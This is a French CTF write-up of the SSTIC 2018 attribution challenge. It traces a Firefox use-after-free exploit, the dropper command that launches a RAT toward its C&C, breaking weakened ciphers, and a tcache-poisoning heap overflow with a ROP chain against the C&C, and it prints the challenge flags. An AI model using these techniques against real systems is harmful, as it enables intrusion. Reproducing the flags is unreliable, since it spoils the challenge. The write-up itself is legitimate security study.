|=---------------------------------------------------------------------------=| | _________ .__ .__ .__ | | \_ ___ \| |__ _____ | | | | ____ ____ ____ ____ | | / \ \/| | \\__ \ | | | | _/ __ \ / \ / ___\_/ __ \ | | \ \___| Y \/ __ \| |_| |_\ ___/| | \/ /_/ > ___/ | | \______ /___| (____ /____/____/\___ >___| /\___ / \___ > | | \/ \/ \/ \/ \//_____/ \/ | | _________ ____________________.____________ | | / _____// _____/\__ ___/| \_ ___ \ | | \_____ \ \_____ \ | | | / \ \/ | | / \/ \ | | | \ \____ | | /_______ /_______ / |____| |___|\______ / | | \/ \/ \/ | | _______________ ____ ______ | | \_____ \ _ \/_ |/ __ \ | | / ____/ /_\ \| |> < | | / \ \_/ \ / -- \ | | \_______ \_____ /___\______ / | | \/ \/ \/ | |=---------------------------------------------------------------------------=| |=--------------------------=[ Emilien Girault ]=----------------------------=| |=---------------------------------------------------------------------------=| --[ Sommaire 0 - Introduction 1 - Anomaly Detection 2 - Disruptive JavaScript 3 - Battle-tested Encryption 4 - Nation-state Level Botnet 5 - Gr33tz --[ 0. Introduction Le challenge d'attribution SSTIC 2018 a pour but d'identifier l'attaquant à l'origine d'une compromission, et d'intruser ("hack back") son serveur de commande et de contrôle afin de découvrir son adresse e-mail. --[ 1. Anomaly Detection En analysant les conversations de la capture dans Wireshark, on observe qu'une machine 192.168.231.123 navigue sur plusieurs sites, parmi lesquels www.binette-et-jardin.com et progresser-orthographe.lemonde.fr. D'apres le user-agent, le navigateur est Firefox 53 sur une machine Linux 64 bits. En visitant http://www.theregister.co.uk, la page HTML retournée contient un tag HTML douteux tout à la fin: Il pourrait s'agir d'une compromission du site en question (water holing), ou moins probablement, d'une injection de session TCP via un outil de type QUANTUM INSERT. On observe alors une série de téléchargements sur ce serveur: - stage1.js et utils.js - blockcipher.js et blockcipher.wasm - payload.js - stage2.js Après analyse, stage1.js se révèle etre un exploit pour une vulnérabilité de type Use After Free due à un débordement de refcount touchant les objets SharedArrayBuffer (https://bugzilla.mozilla.org/show_bug.cgi?id=1352681). Il semblerait que cette vulnérabilité n'ait pas de CVE et ne fasse l'objet d'aucun avis du CERT-FR. La page https://phoenhex.re/2017-06-21/firefox-structuredclone-refleak détaille la vulnérabilité, et donne un exploit en référence qui se trouve être très similaire à celui utilisé dans stage1.js. Fait ammusant, il semble qu'un autre challengeur ait soummis le fichier stage1.js à l'analyseur www.hybrid-analysis.com (https://goo.gl/C3xrhW) qui n'a détecté aucune malveillance étant donné que JScript semble avoir un peu de mal avec le mot-clé "const" (ES6) présent a la ligne 10. Une fois la vulnérabilité déclenchée, la methode Date.getTime est corrompue avec un trampoline executant une ROP chain, qui a son tour permet de pouvoir appeler n'importe quelle fonction native. stage1.js l'utilise afin d'écrire un binaire /tmp/.f4ncyn0un0urs sur le disque, et de l'executer avec cette ligne de commande: /tmp/.f4ncyn0un0urs -h 192.168.23.213 -p 31337 Le contenu du binaire est issu du dechiffrement d'une charge chiffrée contenue dans payload.js. Le dechiffrement est effectué à l'aide d'un chiffrement par blocs en mode CBC implémenté dans blockcipher.{js,wasm}, pour le moment inconnu. D'apres stage2.js, la clé (256 bits) est obtenue en dérivant un mot de passe à l'aide de PBKDF2 en utilisant 1 millions d'itérations de SHA256, le mot de passe etant lui-meme récupéré sur un serveur à l'adresse suivante: https://10.241.20.18:1443/password?session=c5bfdf5c-c1e3-4abf-a514-6c8d1cdd56f1 Le mot de passe ayant transité en HTTPS, il ne parait pas evident de l'extraire de la capture sans tenter de casser la connexion TLS. De plus, 10.241.20.18 n'étant pas une IP publique, il ne sera pas possible de s'y connecter. Le certificat SSL du serveur a pour CN: C=RU, ST=Moscow, O=APT28, CN=legit-news.ru. La piste d'un attaquant du cyber-califat nord-coréen semble donc écartée. La robustesse de l'algorithme de dérivation utilisé décourage toute tentative de bruteforce, meme par dictionnaire. La solution envisagée consiste à reverser blockcipher.{js,wasm} en espérant y trouver une faiblesse cryptographique permettant de déchiffrer le payload. Avant de se lancer dans la retroconception, on apercoit une fonction JavaScript getFlag(secret) qui semble prendre en parametre un entier. Sans rien reverser pour le moment, un simple bruteforce appelant cette fonction avec tous les entiers 32 bits permet d'obtenir en quelques secondes le 1er flag, SSTIC2018{3db77149021a5c9e58bed4ed56f458b7}, correspondant à l'entier 0x5571c18. --[ 2. Disruptive JavaScript Une fois réindenté, il apparait que blockcipher.js n'est qu'un loader/wrapper utilisant blockcipher.wasm, et que ce dernier est un binaire WebAssembly. On utilise wasm2c (https://github.com/WebAssembly/wabt) afin de décompiler le binaire et obtenir une source C. Celle-ci restant encore assez peu lisible, on opte pour un début d'analyse manuelle. On cherche à récrire l'algorithme en Python, afin d'en avoir une vue simplifiée. Pour cela, nous nous basons d'une part sur une trace d'execution obtenue en ajoutant des directives de logging dans les primitives d'accès mémoire (i64_store, i64_load, etc). Grapher cette trace permet d'identifier plus facilement les boucles et les tours de l'algorithme de chiffrement. D'autre part, on réécrit un squelette HTML/JS afin de pouvoir charger le WebAssembly en local dans Chrome, et examiner les sorties qu'il produit en fonction d'entrées choisies (via la console JS). D'après une première analyse, le coeur de l'algorithme travaille sur des blocs de 16 octets et est composé de 10 tours. Chaque tour effectue une transformation sur l'état en utilisant entre autres un LFSR. On constate également que: - l'algorithme fait des lookups dans une table de 256 éléments, qui ressemble à une S-Box. - le WebAssembly fait appel à une fonction d() définie dans le code JavaScript, qui opère sur un octet: d(x) = ((200 * x * x) + (255 * x) + 92) % 0x100 - la fonction d est appliquée sur chaque élément issu de la SBox, et il se trouve que d(SBox[i]) == i pour tout i entre 0 et 255. Autrement dit, l'effet de la SBox est totalement annulé par la fonction d, qui équivaut à SBox^-1. Cela est valable pour les 9 premiers tours de chiffrement, car une application supplémentaire de d est effectuée au dernier tour (et inversement, la SBox = d^-1 est appliquée au 1er tour de déchiffrement). N'ayant pas encore reversé l'algorithme de key schedule étant donné sa taille (32 tours avec de l'unrolling, que du bonheur), on remarque tout à fait par hasard que le chiffrement utilise une table de 15 octets qui est symétrique: [0x94, 0x20, 0x85, 0x10, 0xC2, 0xC0, 0x01, 0xFB, 0x01, 0xC0, 0xC2, 0x10, 0x85, 0x20, 0x94] Une recherche fortuite sur Google conduit immédiatement à une implémentation de l'algorithme GOST Grasshopper (Kuznechik) hébgergée sur Github, qui utilise ce meme vecteur: https://github.com/mjosaarinen/kuznechik/blob/master/kuznechik_8bit.c Après analyse comparative et plusieurs tests, on en conclut que l'algorithme du WebAssembly correspond à Grashopper avec une différence majeure: seul le 1er tour de déchiffrement (et le dernier de chiffrement) possède une SBox, qui a de plus été modifiée. Comme l'application de cette SBox ne dépend d'aucune clé de tour, elle ne renforce aucunement la sécurité de l'algorithme. Il est possible que les attaquants d'Inadequation Group se soient inspiré du projet souverain Gostcrypt (http://www.gostcrypt.org/gostcrypt.php?langue=fr). L'"optimisation" consitant à retirer la SBox de tous les autres tours de l'algorithme a pour effet de rendre celui-ci totalement linéaire, et cassable. Si l'on note: P: le plaintext appliqué à la fonction d initiale ki: la cle du round i L: la fonction de round de Grasshopper sans SBox Pi: les resultats intermediaires de chaque tour de chiffrement X: le ciphertext final alors on a, pour l'algorithme de chiffrement: 1er tour: P1 = L(P ^ k0) 2eme tour: P2 = L(P1 ^ k1) = L( L(P^k0) ^ k1 ) Or, comme L est purement linéaire, on a L(x^y) = L(x)^L(y). Cette linéarité va permettre de séparer d'une part les expressions dépendant seulement de l'input P, et d'autre part celles qui dépendent de la clé. On a ainsi: 1er tour: P1 = L(P) ^ L(k0) 2eme tour: P2 = L^2(P) ^ L^2(k0) ^ L(k1) avec L^2(x) = L(L(x)) 3eme tour: P3 = L(P2^k2) = L^3(P) ^ C3 où C3 est une expression dépendant des clés de tour k0...k2. En procédant de manière similaire jusqu'à la fin, on obtient: X = L^9(P) ^ C avec: - C ne dependant que des clés de tour, i.e. constante quelque soit l'input - L^9(P) ne dependant que de l'input et constante quelque soit la clé Or dans le challenge la payload est déchiffrée en mode CBC, donc la même clé est utilisée pour tous les blocs. Cela signifie que pour plusieurs couples (plaintext, ciphertext) Pa, Xa, Pb, Xb: L^9(Pa) ^ Xa = C = L^9(Pb) ^ Xb Autrement dit il suffit de calculer C = L^9(P) ^ X pour le 1er bloc (en ayant pris soin d'appliquer l'IV) pour en déduire la constante XOR permettant de déchiffrer tous les autres blocs sans même connaitre la clé (256 bits). Cela est possible dans notre cas car nous connaissons le plaintext du 1er bloc: "-Fancy Nounours-". On parvient alors à déchiffrer le payload en appliquant le mode CBC: $ file f4ncyn0un0urs.bin f4ncyn0un0urs.bin: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]= dec6817fc8396c9499666aeeb0c438ec1d9f5da1, not stripped Un strings sur le binaire permet de trouver le flag de l'epreuve, et pourrait par ailleurs être intégré dans une règle Yara pour détecter le malware : SSTIC2018{f2ff2a7ed70d4ab72c52948be06fee20} --[ 3. Battle-tested Encryption Apres avoir fait glissé le binaire dans IDA, on observe que celui-ci est un RAT (Remote Access Tool) ayant la particularité de fonctionner en mode peer-to- peer. En fonction des arguments de la ligne de commande, le malware peut fonctionner dans 2 modes distincts: agent (malware) et serveur (console d'administration). Chaque instance du malware peut etre représentée comme un noeud d'une structure en arbre, avec le serveur a la racine. En mode agent, le RAT se connecte à un homologue en TCP qui va agir en tant que C&C, lui meme pouvant etre lancé en tant qu'agent ou console. Le RAT fournit des primitives de lecture, ecriture de fichiers et d'execution de commandes shell à son C&C. D'autre part, le malware se place lui-meme en attente de connexions d'autres agents. Chaque noeud de l'arbre génère une adresse sur 8 octets. Les paquets échangés entre noeufs comportent les adresses sources, destination, ainsi qu'un type. Si le RAT recoit une commande qui ne lui est pas directement destiné, il la transmet à ses esclaves (mecanisme de forwarding). Fait notable, les paquets transmis ont également 2 magics; un fixe ("AAAA\xde\xc0\xd3\xd1") et un variable, par défaut égal à "babar007". Cela semble confirmer la piste d'un attaquant souverain. Vu sa complexité, il est possible que le malware employé ait échappé aux stéthoscopes du laboratoire d'épidémiologie du Cyber-CERT d'Orange. Au cas où son C&C direct tombe, le RAT envoie une requête de peering à l'initialisation de la connexion afin que son C&C lui transmette la liste de tous ses propres C&C de niveau supérieur. Le RAT tentera alors de se connecter aux C&C suivants. En mode serveur, i.e. lancé avec le flag de l'épreuve précédente en paramètre, le binaire charge un filtre seccomp lui interdisant un certain nombre de syscalls (decompilable avec https://github.com/david942j/seccomp-tools), probablement pour limiter les dégâts en cas de compromission. Une console est alors disponible afin de lister les agents connectés et les contrôler à distance. Les communications entre chaque noeud se font de manière chiffrée. A l'initialisation, chaque noeud génère un bi-clé RSA, échange sa clé publique, génère une clé symétrique et l'envoie wrappée avec la clé publique du destinataire. Les communications sont ensuite chiffrés avec les clés symétriques échangées (distinctes pour chaque direction de la communication). D'après les symboles, l'algorithme symétrique utilisé semble être Rijndael (AES). On comprend alors le but de l'épreuve : déchiffrer les communications entre la machine infectée et le C&C relai présentes dans la capture pcap initiale (port 31337), dans le but de trouver l'adresse du serveur maître. En effet, la capture a été réalisée sur la machine victime et ne révèle pas directement l'adresse IP du serveur maître. En réanalysant le code, il apparait que l'algorithme symétrique employé n'est qu'une version d'AES réduite à 4 tours, ce qui devrait permettre de casser le chiffrement. La thèse d'un groupe d'attaquant originaire de Laval se confirme de plus en plus. Après avoir passé un certain temps à parcourir l'état de l'art des attaques ciblant 4 tours d'AES étant réalisable dans notre situation, et testé sans succès l'outil d'attaque automatisé de Charles Bouillaguet (http://www.lifl.fr/~bouillag/implementation.html), on finit par tomber sur un writeup de CTF décrivant une épreuve très similaire, consistant à implémenter la "Square Attack" : https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/peoples_square L'attaque décrite dans le writeup nécessite les ciphertexts correspondant à 256 plaintexts dont un seul octet varie à chaque fois. Dans notre cas, les messages sont chiffrés en mode CBC, avec le 1er IV égal à zéro puis incrémentant à chaque message. D'autre part l'attaquant s'étant fait plaisir, la capture comporte au moins 256 messages dans les 2 sens de communication, ce qui nous place dans les conditions parfaites pour réaliser l'attaque. On modifie le script integral.py du writeup pour intégrer les ciphertexts glanés dans le pcap avec Scapy et on modifie la condition d'arrêt de la fonction integral() afin de rechercher le motif "babar" dans les plaintexts candidats. On obtient les 2 clés suivantes: envoi: 72ff8036d9200777d1e97a5be1d3f514 reception: 4c1a69362fe00336f6a8460ff33dffd5 Une fois chaque paquet de la session TCP déchiffré et le protocole réimplémenté dans Scapy, on analyse les différents échanges. Globalement, l'attaquant a: - listé le dossier courant, comportant des fichiers apparamment sensibles tels que "inadequation_group_tools_leaked" et "davfi_v0.0.1_preview", mais surtout un dossier "confidentiel" - exfiltré le dossier confidentiel, qui contient différents PDF issus de leaks Vault7 ainsi qu'un fichier "super_secret" qui contient le flag de l'epreuve: SSTIC2018{07aa9feed84a9be785c6edb95688c45a} - déposé sur la machine victime une archive "surprise.tar.gz" contenant un florilège d'images de lobster dogs. Une analyse stéganographique avancée de chacune d'entre elle ne révèle malheureusement rien d'anormal. --[ 4. Nation-state Level Botnet Le fait d'avoir déchiffré les communications permet d'obtenir le message initial de peering du malware, qui contient entre autre l'adresse IP et le port du C&C de niveau supérieur, sous la forme d'une structure sockaddr: IP: 195.154.105.12 Port TCP: 36735 Souhaitant eviter de connecter le malware tel quel au C&C (ce qui permettrait à l'attaquant de compromettre notre machine), on préfère dans un premier temps patcher le binaire afin d'inhiber l'execution de commande shell et l'accès au filesystem. Dans un second temps, on choisit de réimplémenter complétement le protocole en Python afin de disposer d'un meilleur controle sur le protocole. Le but étant de compromettre le C&C, on tente naivement de lui faire lire des fichiers ou éxécuter des commandes en utilisant le protocole du malware, mais sans succès. En effet, le malware est "bien" fait; il ne donne accés à rien lorsqu'il est lancé en mode serveur. Il faut donc trouver une véritable vulnérabilité. On finit par identifier un heap overflow se déclenchant lorsque 12 clients distincts envoient un message de peering au meme noeud. Le code vulnérable se situe dans la fonction add_to_route, qui a pour but d'ajouter une adresse à un objet "route" alloué et initialisé à la connexion d'un client: typedef struct { unsigned int nb_addrs; // initialement 0 unsigned int max_size; // initialement 6 _QWORD *addresses; // initialement pointe vers un tableau de 6 addr. connection *connection; } route; void *__fastcall add_to_route(route *rt, __int64 addr) { __int64 addr_; unsigned int n; unsigned int max_nb_addr; _QWORD *addresses_ptr; int new_max; addr_ = addr; n = rt->nb_addrs; max_nb_addr = rt->max_nb_addr; addresses_ptr = rt->addresses; if ( rt->nb_addrs > max_nb_addr ) // BUG: > max, au lieu de >= max. { new_max = max_nb_addr + 5; rt->max_nb_addr = new_max; addresses_ptr = realloc(addresses_ptr, 8 * new_max); n = rt->nb_addrs; rt->addresses = addresses_ptr; } addresses_ptr[n] = addr_; // va ecraser addresses[nb_addrs] rt->nb_addrs = n + 1; return addresses_ptr; } Le realloc() n'a lieu que si le nombre "nb_addr" d'adresse courantes dépasse strictement le maximum. Or l'adresse à traiter est rajoutée à l'index "nb_addr", ce qui tombe 1 case après la fin du tableau "addresses" situé dans un chunk du heap. Chaque chunk est précédé d'un champ de taille sur 8 octets. Lors du 1er appel, la présence de padding empeche la vulnérabilité de se déclencher; malloc() alloue 8 octets de plus que demandé car 6 adresses + le champ de taille du chunk totalisent 56 octets, ce qui n'est pas un multiple de 16. Mais lors du 2eme appel, 5 éléments de plus ont été ajoutés et la taille du tableau est de 96 octets sans aucun padding. La connection du 12eme client va provoquer un débordement et crasher le programme pendant le realloc(). Dans notre cas, on contrôle le contenu qui est écrit, à savoir l'adresse source du client. D'après les symboles, on a affaire a un allocateur ptmalloc de la glibc. En inspectant le layout du heap avec un debugger, on se rend compte que les chunks alloués sont dans le thread local cache ("tcache", cf. https://sourceware.org/glibc/wiki/MallocInternals). Il s'agit d'une optimisation relativement récente, apparue dans la glibc 2.25.9c. Avant cette version, le heap ptmalloc s'était vu renforcé par l'ajout de plusieurs contrôles de sécurité, tels que le safe unlinking, compliquant sensiblement l'exploitation de vulnérabilités. Cependant, l'objectif du tcache étant la performance, ce nouvel algorithme ne comporte quasiment aucune vérification ce qui constitue une régression importante en matière de sécurité. Ainsi, exploiter des vulnérabilités liées au heap (overflow, UAF) dans ce contexte se révèle beaucoup plus facile. C'est précisément ce que décrit la technique d'exploitation dite de "tcache poisonning": http://tukan.farm/2017/07/08/tcache/. La technique de tcache poisonning permet de contrôler l'adresse retournée par le prochain appel à malloc. Elle nécessite d'avoir 2 chunks A et B consécutifs en mémoire, avec B ayant été libéré, et de faire déborder A de 2*8 bytes dans B, écrasant ses champs "size" et "next". Si le 1er champ est trivial à écraser dans notre cas (l'overflow nous permet d'écraser 1 champ de 8 octets avant de trigger l'appel à realloc()), le 2eme nécessite un peu plus de travail. On choisit d'exploiter la vulnérabilité de la facon suivante: - On alloue 3 chunks A, B et C en effectuant 3 connexions au serveur. Les 3 chunks sont consécutifs en mémoire. - On fait grossir A progressivement en envoyant des messages de peering avec le 1er client, jusqu'à ce que A déborde dans le champ de taille de B. On se sert de cet overflow pour augmenter arbitrairement la taille de B. - On ferme la 3eme connexion pour libérer C, ce qui a pour effet de le mettre dans le tcache et de le rendre réutilisable pour les allocattions futures. - On fait grossir B de la meme facon, jusqu'à ce qu'il déborde dans C. La 1ere adresse à déborder se retrouve dans le champ de taille de C. Pour la 2eme, la fonction realloc() va être appelée, mais comme B a désormais une taille suffisamment grande, le chunk va rester à la même place. Cela va nous permettre de continuer à déborder dans C et d'écraser le champ suivant, next. Nous placons une adresse mémoire arbitraire dans ce champ. - A partir de ce moment, il nous suffit de relancer 2 connexions au serveur, chacune ayant pour effet d'appeler malloc(). La 1ere allocation se déroulera normalement, mais la 2eme va forcer malloc() à nous retourner l'adresse que nous avons écrite dans le champ "next" de C. Le client correspondant aura donc son objet route "alloué" à une adresse arbitraire, et pourra y écrire de façon contrôlée en envoyant des messages de peering (primitive write-what-where). Le binaire n'a pas d'ASLR mais dispose de la protection NX. On choisit d'écraser le pointeur de fonction "__free_hook" qui est appelé lors d'un free(). L'adresse réécrite dans ce pointeur pointe vers un gadget de stack pivot permettant d'échanger RSP et RDI, i.e. l'argument de free(), et par la suite exécuter une ROP chain. ROPGadget nous déniche un candidat utilisable : 0x4c1f38: xchg eax, edi ; xchg eax, esp ; ret Ce gadget est 32 bits, mais cela ne pose pas de problème car les adresses utilisées ne dépassent pas cette limite. On choisit de placer la ROP chain elle aussi dans un message de peering. Cette technique a deux avantages : elle ne nécessite aucun spraying ni aucun leak, et permet de déclencher l'exécution de la ROP chain en fermant simplement la connexion. Elle possède toutefois quelques inconvénients majeurs que l'auteur n'avait pas forcement anticipé : - la taille de la ROP chain est limitée à celle de l'objet route avant que le débordement n'ait lieu, soit 11 gadgets; - chaque adresse de l'objet route doit etre unique, donc il en est de meme pour les gadgets; - on ne peut pas mettre le qword "0" dans notre chaine, car cela correspond à l'adresse réservée au serveur maître. Pour contourner la 1ere limitation, on utilise encore une fois le déterminisme du tcache, i.e. le fait que les chunks soient consécutifs. Cela nous permet de chainer 2 ROP chains se trouvant dans 2 chunks voisins, via un gadget de type "pop; pop; ret" pour sauter par dessus les 2 qwords intermédiaires. Par ailleurs, le serveur étant restreint par le filtre seccomp, il est interdit d'y éxécuter des commandes shell, mais il est possible d'y lire et écrire des fichiers. Supposant que le flag final se trouve sur le filesystem, on construit une 1ere ROP chain pour lister le dossier courant via un chainage d'appel getdents64(open64("."), ...). On récupère le résultat en écrivant sur le socket d'un des clients. Après avoir testé la ROP chain en local, on parvient a l'éxécuter sur le serveur. Dans le dossier de l'utilisateur courant se trouve un répertoire "secret", que nous listons à son tour en adaptant la 1ere ROP chain. On trouve un unique fichier dans ce dossier: "sstic2018.flag". Finalement, nous lisons ce fichier en effectuant un read() et exfiltrons le contenu via la méthode précédente. Nous obtenons la chaine suivante: e65r1o0q1380ornqq763p96r74n0r51o816onpp68100s5p4s74955rqqr0p5507o@punyyratr.ffgvp.bet Comprenant qu'il s'agit d'une adresse email obfusquée, on réalise que "ffgvp" correspond à "sstic", et que l'on a affaire à du ROT13. L'adresse finale est: 65e1b0d1380beadd763c96e74a0e51b816bacc68100f5c4f74955edde0c5507b@challenge.sstic.org --[ 5. Gr33tz Je tiens à remercier les concepteurs qui ont réussi à produire un challenge extrèmement réaliste, intéressant et de qualité. Merci également à Nicolas Iooss pour son soutien moral et son aide pour la dernière étape.